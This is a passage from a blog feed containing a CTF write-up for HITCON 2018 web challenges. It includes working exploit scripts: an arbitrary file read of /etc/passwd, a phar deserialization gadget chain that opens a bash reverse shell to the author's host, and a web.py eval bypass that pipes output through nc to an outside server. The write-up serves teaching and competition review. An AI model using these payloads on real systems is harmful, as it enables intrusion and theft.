<p>它居然考Structure未初始化，預設是Storage，然後就可以覆蓋原本Storage的變數，達到繞過的效果</p>
<p>算是我這次比賽最愛的一題吧XD</p>
<p><br></p>
<p>最後比賽結束時，好像官方不允許Remote Support</p>
<p>(但他題目沒擋外部連線)</p>
<p>所以把非會場IP提交的FLAG，都當作非法FLAG</p>
<p>我們就變第五名惹XD</p>
<p>真的還好我們隊全隊就真的只有五個人，想Remote Support都無法</p>
<p>(人生第一次覺得人少是一件值得高興的事…)</p>
<p>其他隊就真的很慘QQ</p>
<p><br></p>
<p><br></p>
<iframe width="853" height="480" src="https://www.youtube.com/embed/BhHEolW8DRc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/f928yat.png" alt=""></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>因為DCTF初賽時運氣好，進了決賽</p>
<p>也很幸運地申請到了各種經費，所以能夠DoubleSigma全隊五個人都出國去羅馬尼亞比賽</p>
<p>這篇文章會大部分著重在羅馬尼亞一個禮拜的記錄</p>
<p>比賽方面的細節會稍微少一點</p>
<p>(圖多，慎入)<br>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[HITCON CTF 2018 Web]]></title>
    <link href="http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/"/>
    <id>http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/</id>
    <published>2018-10-24T01:08:58.000Z</published>
    <updated>2018-11-17T04:26:29.000Z</updated>
    <content type="html"><![CDATA[<h1 id="u524D_u60C5_u63D0_u8981"><a href="#u524D_u60C5_u63D0_u8981" class="headerlink" title="前情提要"></a>前情提要</h1><p><img src="https://i.imgur.com/axUff6E.png" alt=""></p>
<p>今年跟Balsn, BambooFox, Kerkeryuan共四隊一起組成BFKinesiS</p>
<p>我主要都看Web的部分，雖然很多賽中都沒做出來，但賽後花了點時間檢討了一下</p>
<p>所以就把檢討內容和心路歷程及中間可能碰到的坑打成這篇</p>
<p><br></p>
<h1 id="Baby_Cake"><a href="#Baby_Cake" class="headerlink" title="Baby Cake"></a>Baby Cake</h1><p><img src="https://i.imgur.com/CkQ2rmh.png" alt=""></p>
<p>題目給一個輸入url的地方</p>
<p>送出後，他會發Request去該url，並把Response Body/Header Cache在<code>mycache/IP/md5(url)/</code>下面</p>
<p>另外有給Source Code</p>
<p>稍微看一下，可以發現是用CakePHP寫的</p>
<a id="more"></a>
<p>主要邏輯在<code>PagesController</code></p>
<p>從<code>display()</code>中可以看到</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$data = $request-&gt;getQuery(<span class="string">'data'</span>);</div><div class="line">$url  = $request-&gt;getQuery(<span class="string">'url'</span>);</div></pre></td></tr></table></figure>
<p>輸入有這兩個地方，中間會經過<code>parse_url</code>判斷scheme是否為<code>http</code>或<code>https</code></p>
<p>並且只允許這幾個HTTP Method: <code>get</code>, <code>post</code>, <code>put</code>, <code>delete</code>, <code>patch</code></p>
<p>可以注意到，只有<code>get</code> method會去做Cache </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">$key = md5($url);</div><div class="line"><span class="keyword">if</span> ($method == <span class="string">'get'</span>) &#123;</div><div class="line">    $response = <span class="keyword">$this</span>-&gt;cache_get($key);</div><div class="line">    <span class="keyword">if</span> (!$response) &#123;</div><div class="line">        $response = <span class="keyword">$this</span>-&gt;httpclient($method, $url, $headers, <span class="keyword">null</span>);</div><div class="line">        <span class="keyword">$this</span>-&gt;cache_set($key, $response);                </div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>比較吸引人的地方是，他在存放Header進Cache時，會經過Serialize:</p>
<p><code>file_put_contents($cache_dir . &quot;headers.cache&quot;, serialize($response-&gt;headers));</code></p>
<p>然後在取出Cache時，會Unserialize:</p>
<p><code>$headers = unserialize($headers);</code></p>
<p>但仔細跟了一下，會發現沒有可以利用的地方，我們沒辦法完全控制<code>unserialize($headers)</code>的輸入</p>
<p>所以只能放棄這條路，但看來看去，好像也沒其他地方有洞</p>
<p>最後跟了一下他的<code>httpclient()</code>，他裡面其實包了<code>Client</code>，也就是<code>Cake\Http\Client</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$http = <span class="keyword">new</span> Client();</div><div class="line"><span class="keyword">return</span> $http-&gt;$method($url, $data, $options);</div></pre></td></tr></table></figure>
<p>跟進去看一下，可以發現它每個method都有一個function做處理，但基本架構都差不多</p>
<p>所以先跟<code>get()</code>看看</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">get</span><span class="params">($url, $data = [], array $options = [])</span></span></div><div class="line">&#123;</div><div class="line">    $options = <span class="keyword">$this</span>-&gt;_mergeOptions($options);</div><div class="line">    $body = <span class="keyword">null</span>;</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">isset</span>($data[<span class="string">'_content'</span>])) &#123;</div><div class="line">        $body = $data[<span class="string">'_content'</span>];</div><div class="line">        <span class="keyword">unset</span>($data[<span class="string">'_content'</span>]);</div><div class="line">    &#125;</div><div class="line">    $url = <span class="keyword">$this</span>-&gt;buildUrl($url, $data, $options);</div><div class="line"></div><div class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;_doRequest(</div><div class="line">        Request::METHOD_GET,</div><div class="line">        $url,</div><div class="line">        $body,</div><div class="line">        $options</div><div class="line">    );</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>裡頭呼叫<code>buildUrl($url, $data, $options)</code>，跟進去可以看到，當options, data為空時，會直接return </p>
<p>所以對<code>get()</code>來說，這邊不會做啥事情</p>
<p>繼續看下去，他會呼叫<code>__doRequest(Request::METHOD_GET,$url,$body,$options);</code></p>
<p>裡頭又呼叫<code>_createRequest($method,$url,$data,$options);</code></p>
<p>再跟進去看，裡頭先對header做處理，然後呼叫<code>new Request($url, $method, $headers, $data);</code></p>
<p>繼續往Request.php追:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($url = <span class="string">''</span>, $method = self::METHOD_GET, array $headers = [], $data = null)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">$this</span>-&gt;validateMethod($method);</div><div class="line">    <span class="keyword">$this</span>-&gt;method = $method;</div><div class="line">    <span class="keyword">$this</span>-&gt;uri = <span class="keyword">$this</span>-&gt;createUri($url);</div><div class="line">    $headers += [</div><div class="line">        <span class="string">'Connection'</span> =&gt; <span class="string">'close'</span>,</div><div class="line">        <span class="string">'User-Agent'</span> =&gt; <span class="string">'CakePHP'</span></div><div class="line">    ];</div><div class="line">    <span class="keyword">$this</span>-&gt;addHeaders($headers);</div><div class="line">    <span class="keyword">$this</span>-&gt;body($data);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡會先呼叫<code>validateMethod($method)</code>做一些判斷，但沒啥可利用的地方</p>
<p>接著呼叫<code>createUri($url)</code>，跟進去會看到<code>return new Uri($uri)</code></p>
<p>其實這邊後面再跟下去，也沒啥可以利用的地方</p>
<p>後面在做的事情大概是先<code>parseUri($uri)</code>，然後裡面會<code>parse_url($uri)</code>，接著設定scheme, userInfo, host, port, path, …</p>
<p>跟完這邊，再往回看，回到剛剛的<code>Request::__construct</code></p>
<p>裡頭會呼叫<code>$this-&gt;addHeaders($headers)</code>，但一樣沒啥值得利用的地方</p>
<p>最後會呼叫<code>$this-&gt;body($data)</code></p>
<p>可以發現當<code>$body ($data)</code>為Array時，會去</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> (is_array($body)) &#123;</div><div class="line">    $formData = <span class="keyword">new</span> FormData();</div><div class="line">    $formData-&gt;addMany($body);</div><div class="line">    <span class="keyword">$this</span>-&gt;header(<span class="string">'Content-Type'</span>, $formData-&gt;contentType());</div><div class="line">    $body = (string)$formData;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>跟進<code>addMany()</code>瞧瞧</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">foreach</span> ($data <span class="keyword">as</span> $name =&gt; $value) &#123;</div><div class="line">    <span class="keyword">$this</span>-&gt;add($name, $value);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>裡頭對<code>$data</code>每個元素做<code>add()</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">($name, $value = null)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (is_array($value)) &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;addRecursive($name, $value);</div><div class="line">    &#125; <span class="keyword">elseif</span> (is_resource($value)) &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;addFile($name, $value);</div><div class="line">    &#125; <span class="keyword">elseif</span> (is_string($value) &amp;&amp; strlen($value) &amp;&amp; $value[<span class="number">0</span>] === <span class="string">'@'</span>) &#123;</div><div class="line">        trigger_error(</div><div class="line">            <span class="string">'Using the @ syntax for file uploads is not safe and is deprecated. '</span> .</div><div class="line">            <span class="string">'Instead you should use file handles.'</span>,</div><div class="line">            E_USER_DEPRECATED</div><div class="line">        );</div><div class="line">        <span class="keyword">$this</span>-&gt;addFile($name, $value);</div><div class="line">    &#125; <span class="keyword">elseif</span> ($name <span class="keyword">instanceof</span> FormDataPart &amp;&amp; $value === <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;_hasComplexPart = <span class="keyword">true</span>;</div><div class="line">        <span class="keyword">$this</span>-&gt;_parts[] = $name;</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        <span class="keyword">$this</span>-&gt;_parts[] = <span class="keyword">$this</span>-&gt;newPart($name, $value);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>我們可以發現當<code>$value</code>為<code>@</code>開頭的字串時，雖然會trigger_error，但後面會繼續<code>addFile($name, $value)</code></p>
<p>跟進去</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">addFile</span><span class="params">($name, $value)</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">$this</span>-&gt;_hasFile = <span class="keyword">true</span>;</div><div class="line"></div><div class="line">    $filename = <span class="keyword">false</span>;</div><div class="line">    $contentType = <span class="string">'application/octet-stream'</span>;</div><div class="line">    <span class="keyword">if</span> (is_resource($value)) &#123;</div><div class="line">        $content = stream_get_contents($value);</div><div class="line">        <span class="keyword">if</span> (stream_is_local($value)) &#123;</div><div class="line">            $finfo = <span class="keyword">new</span> finfo(FILEINFO_MIME);</div><div class="line">            $metadata = stream_get_meta_data($value);</div><div class="line">            $contentType = $finfo-&gt;file($metadata[<span class="string">'uri'</span>]);</div><div class="line">            $filename = basename($metadata[<span class="string">'uri'</span>]);</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        $finfo = <span class="keyword">new</span> finfo(FILEINFO_MIME);</div><div class="line">        $value = substr($value, <span class="number">1</span>);</div><div class="line">        $filename = basename($value);</div><div class="line">        $content = file_get_contents($value);</div><div class="line">        $contentType = $finfo-&gt;file($value);</div><div class="line">    &#125;</div><div class="line">    $part = <span class="keyword">$this</span>-&gt;newPart($name, $content);</div><div class="line">    $part-&gt;type($contentType);</div><div class="line">    <span class="keyword">if</span> ($filename) &#123;</div><div class="line">        $part-&gt;filename($filename);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">$this</span>-&gt;add($part);</div><div class="line"></div><div class="line">    <span class="keyword">return</span> $part;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>Bang! 終於找到一點有趣的東西惹</p>
<p>可以看到他會把<code>$value</code>直接丟進<code>file_get_contents($value)</code></p>
<p>統整一下，這個<code>$value</code>是從<code>$data</code>陣列來的，而<code>$data</code>是直接從<code>getQuery(&#39;data&#39;)</code>來的!</p>
<p>繼續往下跟，會發現它把讀出來的內容直接透過<code>fopen</code>送到<code>$url</code>指定的地方</p>
<p>所以我們到這邊就有一個任意讀檔漏洞!</p>
<p>Payload:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> requests</div><div class="line">s = requests.session()</div><div class="line">s.post(<span class="string">'http://13.230.134.135/'</span>, params=&#123;<span class="string">'url'</span>: <span class="string">'http://yourip:yourport'</span>, <span class="string">'data[]'</span>: <span class="string">'@/etc/passwd'</span>&#125;)</div></pre></td></tr></table></figure>
<p>這邊得感謝隊友發現這個洞，我第一次review時，看完<code>_createUri</code>就剛好沒跟到<code>body()</code>，然後繼續往回跟<code>send()</code></p>
<p>偏偏<code>send()</code>後面還有非常一長串的calling chain，所以一整晚的時間就這樣沒了…</p>
<p>全部跟完，還以為沒洞，結果原來是少跟一個function…</p>
<p>OK</p>
<p>接下來，可以發現它底下有<code>/read_flag</code>和<code>/flag</code>，沒辦法直接讀出flag</p>
<p>所以肯定得拿shell</p>
<p>但靠讀檔翻了一兩個小時，根本沒發現啥可以拿shell的東西</p>
<p>AWS metadata, ssh key, … 全踹過了</p>
<p>正當崩潰以為找錯洞時</p>
<p>我突然一個靈感閃現</p>
<p>題目給Body.cache，不就等於是讓我們上傳檔案嗎</p>
<p>然後<code>file_get_contents()</code>參數又可以塞PHP wrapper</p>
<p>那不就可以用今年最潮的<code>phar://</code>去反序列化嗎!</p>
<p>眼看離比賽結束已經不到1小時，只好拼拼看惹</p>
<p>一開始以為要自己構造POP chain，後來隊友發現phpggc有<code>Monolog</code></p>
<p>而從source code可以看到也用了在漏洞影響範圍內的<code>Monolog</code>!</p>
<p><code>Monolog/RCE1          1.18 &lt;= 1.23      rce              __destruct</code></p>
<p>composer.json:</p>
<p><code>&quot;monolog/monolog&quot;: &quot;^1.23&quot;</code></p>
<p>讚，立馬clone phpggc下來構造payload</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"></div><div class="line"><span class="keyword">namespace</span> <span class="title">GadgetChain</span>\<span class="title">Monolog</span>;</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">RCE1</span> <span class="keyword">extends</span> \<span class="title">PHPGGC</span>\<span class="title">GadgetChain</span>\<span class="title">RCE</span></span></div><div class="line">&#123;</div><div class="line">    <span class="keyword">public</span> $version = <span class="string">'1.18 &lt;= 1.23'</span>;</div><div class="line">    <span class="keyword">public</span> $vector = <span class="string">'__destruct'</span>;</div><div class="line">    <span class="keyword">public</span> $author = <span class="string">'cf'</span>;</div><div class="line"></div><div class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">generate</span><span class="params">(array $parameters)</span></span></div><div class="line">    &#123;</div><div class="line">        $code = <span class="string">"bash -c 'bash -i &gt;&amp; /dev/tcp/kaibro.tw/10001 0&gt;&amp;1'"</span>;</div><div class="line"></div><div class="line">        @unlink(<span class="string">'exp.phar'</span>);</div><div class="line">        $p = <span class="keyword">new</span> \Phar(<span class="string">'exp.phar'</span>);</div><div class="line">        $p-&gt;startBuffering();</div><div class="line">        $p-&gt;setStub(<span class="string">"&lt;?php __HALT_COMPILER();?&gt;"</span>);</div><div class="line">        $p-&gt;addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>);</div><div class="line">        $p-&gt;setMetadata(<span class="keyword">new</span> \Monolog\Handler\SyslogUdpHandler(<span class="keyword">new</span> \Monolog\Handler\BufferHandler([<span class="string">'current'</span>, <span class="string">'system'</span>],[$code, <span class="string">'level'</span> =&gt; <span class="keyword">null</span>])));</div><div class="line">        $p-&gt;stopBuffering();</div><div class="line"></div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>跑完會生成exp.phar</p>
<p>然後傳到我自己的Server: kaibro.tw/exp.phar</p>
<p>接著透過以下腳本觸發反序列化:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> requests                                                                                                        </div><div class="line"><span class="keyword">import</span> sys</div><div class="line"><span class="keyword">import</span> hashlib</div><div class="line"></div><div class="line">m = hashlib.md5()</div><div class="line">ip = <span class="string">'1.2.3.4'</span></div><div class="line"></div><div class="line">r = requests.get(<span class="string">'http://13.230.134.135/?url='</span>+sys.argv[<span class="number">1</span>])</div><div class="line"></div><div class="line">s = requests.session()</div><div class="line">m.update(sys.argv[<span class="number">1</span>])</div><div class="line">pay = <span class="string">"phar:///var/www/html/tmp/cache/mycache/"</span>+ip+<span class="string">"/"</span>+m.hexdigest()+<span class="string">"/body.cache"</span></div><div class="line"><span class="keyword">print</span> pay</div><div class="line">print(s.post(<span class="string">'http://13.230.134.135/'</span>, params=&#123;<span class="string">'url'</span>: <span class="string">'http://kaibro.tw:6666/'</span>, <span class="string">'data[]'</span>: <span class="string">'@'</span>+pay&#125;))</div></pre></td></tr></table></figure>
<p>即可成功Reverse shell回來</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div></pre></td><td class="code"><pre><div class="line">www-data@ip-172-31-24-186:/$ ls -a</div><div class="line">ls -a</div><div class="line">.</div><div class="line">..</div><div class="line">bin</div><div class="line">boot</div><div class="line">dev</div><div class="line">etc</div><div class="line">flag</div><div class="line">home</div><div class="line">initrd.img</div><div class="line">initrd.img.old</div><div class="line">lib</div><div class="line">lib64</div><div class="line">lost+found</div><div class="line">media</div><div class="line">mnt</div><div class="line">opt</div><div class="line">proc</div><div class="line">read_flag</div><div class="line">root</div><div class="line">run</div><div class="line">sbin</div><div class="line">snap</div><div class="line">srv</div><div class="line">sys</div><div class="line">tmp</div><div class="line">usr</div><div class="line">var</div><div class="line">vmlinuz</div><div class="line">vmlinuz.old</div><div class="line">www</div></pre></td></tr></table></figure>
<p><code>hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD&gt;&lt;}</code></p>
<p>不過賽中其實沒拿到flag，後來賽後debug才發現payload中的<code>/read_flag</code>忘記加斜線…</p>
<p>如果當時乖乖reverse shell就好惹QQ</p>
<p><br></p>
<h1 id="Oh_My_Raddit__26amp_3B_v2"><a href="#Oh_My_Raddit__26amp_3B_v2" class="headerlink" title="Oh My Raddit &amp; v2"></a>Oh My Raddit &amp; v2</h1><p><img src="https://i.imgur.com/p0LL6ND.png" alt=""></p>
<p>這題分類是Web+Crypto</p>
<p>其中第一題的flag是Encryption key</p>
<p>然後有給提示:</p>
<p><code>assert ENCRYPTION_KEY.islower()</code></p>
<p>接著觀察題目</p>
<p>可以發現，題目大致上都由參數<code>s</code>來決定要做啥行為</p>
<p>而會帶<code>s</code>參數的地方，可以分成三種:</p>
<ol>
<li>文章連結</li>
<li>下載連結</li>
<li>顯示文章數 (最上頭那個下拉選單)</li>
</ol>
<p>觀察下載連結，可以發現:</p>
<ol>
<li>結尾都是<code>3ca92540eb2d0a42</code> (8 bytes)</li>
<li>開頭都是<code>2e7e305f2da018a2cf8208fa1fefc238</code> (16 bytes)</li>
</ol>
<p>並且還發現似乎標題愈長，s就愈長</p>
<p>然後顯示文章數的地方也可以發現:</p>
<ol>
<li><p>total 10: <code>06e77f2958b65ffd3ca92540eb2d0a42</code></p>
</li>
<li><p>total 100: <code>06e77f2958b65ffd2c0f7629b9e19627</code></p>
</li>
</ol>
<p>只有後8 bytes不同</p>
<p>一臉ECB mode樣，且block size很明顯是<code>8</code></p>
<p>從frequency可以發現<code>3ca92540eb2d0a42</code>出現次數非常高</p>
<p>可以大膽猜測他就是padding</p>
<p>到這邊我就去睡覺了</p>
<p>然後睡醒就發現，隊友猜出DES，然後硬爆出來key: <code>megnnaro</code></p>
<p>(DES中，每個字元的二進位最低位不會參與運算，再加上提示說key都是小寫，所以key space只有<code>abdfhjlnprtvxz</code>，可以直接暴力踹key。似乎有機會踹到等價的key，但沒差可以去解密文然後載<code>app.py</code>讀code)</p>
<p>第一題flag: <code>hitcon{megnnaro}</code></p>
<p>(賽後看到orange說可以用hashcat秒爆: <code>sudo hashcat -a 3 -m 14000 &#39;3ca92540eb2d0a42:0808080808080808&#39; -1 DESALL.txt --hex-charset ?1?1?1?1?1?1?1?1 -n 4 --force --potfile-disable</code>)</p>
<p>接著我就繼續看v2的部分</p>
<p>有了key之後，就能還原明文，然後可以修改下載功能的檔名，達到任意下載</p>
<p>第一步當然就是看 app.py: <code>m=d&amp;f=app.py</code></p>
<p><a href="https://github.com/w181496/CTF/blob/master/hitcon2018/OhMyRaddit/app.py" target="_blank" rel="external">https://github.com/w181496/CTF/blob/master/hitcon2018/OhMyRaddit/app.py</a></p>
<p>可以看到他使用<code>web.py</code></p>
<p>參數<code>m</code>為<code>r</code>代表取出record，為<code>d</code>代表下載，為<code>p</code>代表抓文章(可以設定limit)</p>
<p>剛好之前有瞄過web.py的洞</p>
<p>所以我很快就找到這個 <a href="https://github.com/webpy/webpy/commit/8fa67f40f212fbfe51aa5493fc377c683eff9925" target="_blank" rel="external">issue</a></p>
<p>可以看到他這邊是對RCE做的防禦，他下面有個邪惡的<code>eval</code></p>
<p>也因為很久以前聽過，所以大概猜到這邊可以繞過<code>dictionary[&#39;__builtins__&#39;] = object()</code></p>
<p>而只需要從<code>m=p&amp;l=${command}</code>就會從limit走到eval那邊</p>
<p>接著就是Bypass了</p>
<p>隊友一個秒速Bypass:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># coding: UTF-8</span></div><div class="line"><span class="keyword">import</span> os</div><div class="line"><span class="keyword">import</span> urllib</div><div class="line"><span class="keyword">import</span> urlparse</div><div class="line"><span class="keyword">import</span> requests</div><div class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> DES</div><div class="line"></div><div class="line"></div><div class="line">ENCRPYTION_KEY = <span class="string">'megnnaro'</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">encrypt</span><span class="params">(s)</span>:</span></div><div class="line">    length = DES.block_size - (len(s) % DES.block_size)</div><div class="line">    s = s + chr(length)*length</div><div class="line"></div><div class="line">    cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)</div><div class="line">    <span class="keyword">return</span> cipher.encrypt(s).encode(<span class="string">'hex'</span>)</div><div class="line"></div><div class="line"></div><div class="line">tmp = &#123;</div><div class="line">    <span class="string">'m'</span>: <span class="string">'p'</span>, </div><div class="line">    <span class="string">'l'</span>: <span class="string">"$&#123;[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc kaibro.tw 6666',shell=1)&#125;"</span></div><div class="line">&#125;</div><div class="line"></div><div class="line">print(encrypt(urllib.urlencode(tmp)))</div><div class="line"></div><div class="line">r = requests.get(<span class="string">"http://13.115.255.46/?s="</span>+encrypt(urllib.urlencode(tmp)))</div><div class="line"></div><div class="line">print(r.text)</div></pre></td></tr></table></figure>
<p><code>hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}</code></p>
<p><br></p>
<h1 id="One_Line_PHP_Challenge"><a href="#One_Line_PHP_Challenge" class="headerlink" title="One Line PHP Challenge"></a>One Line PHP Challenge</h1><p><img src="https://i.imgur.com/s33Yde0.png" alt=""></p>
<p>神題，只有短短一行，但只有3隊解掉</p>
<p>看到這題，第一個想到的就是踹各種PHP Wrapper/Protocol</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">file:// — Accessing local filesystem</div><div class="line">http:// — Accessing HTTP(s) URLs</div><div class="line">ftp:// — Accessing FTP(s) URLs</div><div class="line">php:// — Accessing various I/O streams</div><div class="line">zlib:// — Compression Streams</div><div class="line">data:// — Data (RFC 2397)</div><div class="line">glob:// — Find pathnames matching pattern</div><div class="line">phar:// — PHP Archive</div><div class="line">ssh2:// — Secure Shell 2</div><div class="line">rar:// — RAR</div><div class="line">ogg:// — Audio streams</div><div class="line">expect:// — Process Interaction Streams</div></pre></td></tr></table></figure>
<p>由於<code>allow_url_include</code>沒開，所以很多wrapper到了<code>include()</code>都沒辦法利用</p>
<p>接著就很自然地想到phpinfo+lfi去RCE的套路</p>
<p>(沒聽過這個經典招的可以參考這個: <a href="https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf" target="_blank" rel="external">https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf</a>)</p>
<p>硬傳檔案上去，然後再刪除前的這短暫時間去Race Condition include拿shell</p>
<p>只是這題沒辦法直接取得tmp檔名，而且賽後才知道Ubuntu 17後預設開啟<code>PrivateTmp</code>，所以沒辦法使用這招拿shell</p>
<p>前幾天才聽cyku提過這個，但沒想到Ubuntu高版本預設會啟用…</p>
<p>PrivateTmp細節可以看這篇 <a href="https://www.cnblogs.com/lihuobao/p/5624071.html" target="_blank" rel="external">https://www.cnblogs.com/lihuobao/p/5624071.html</a></p>
<p><br></p>
<p>然後賽後檢討才知道，原來預設會開<code>session.upload_progress</code></p>
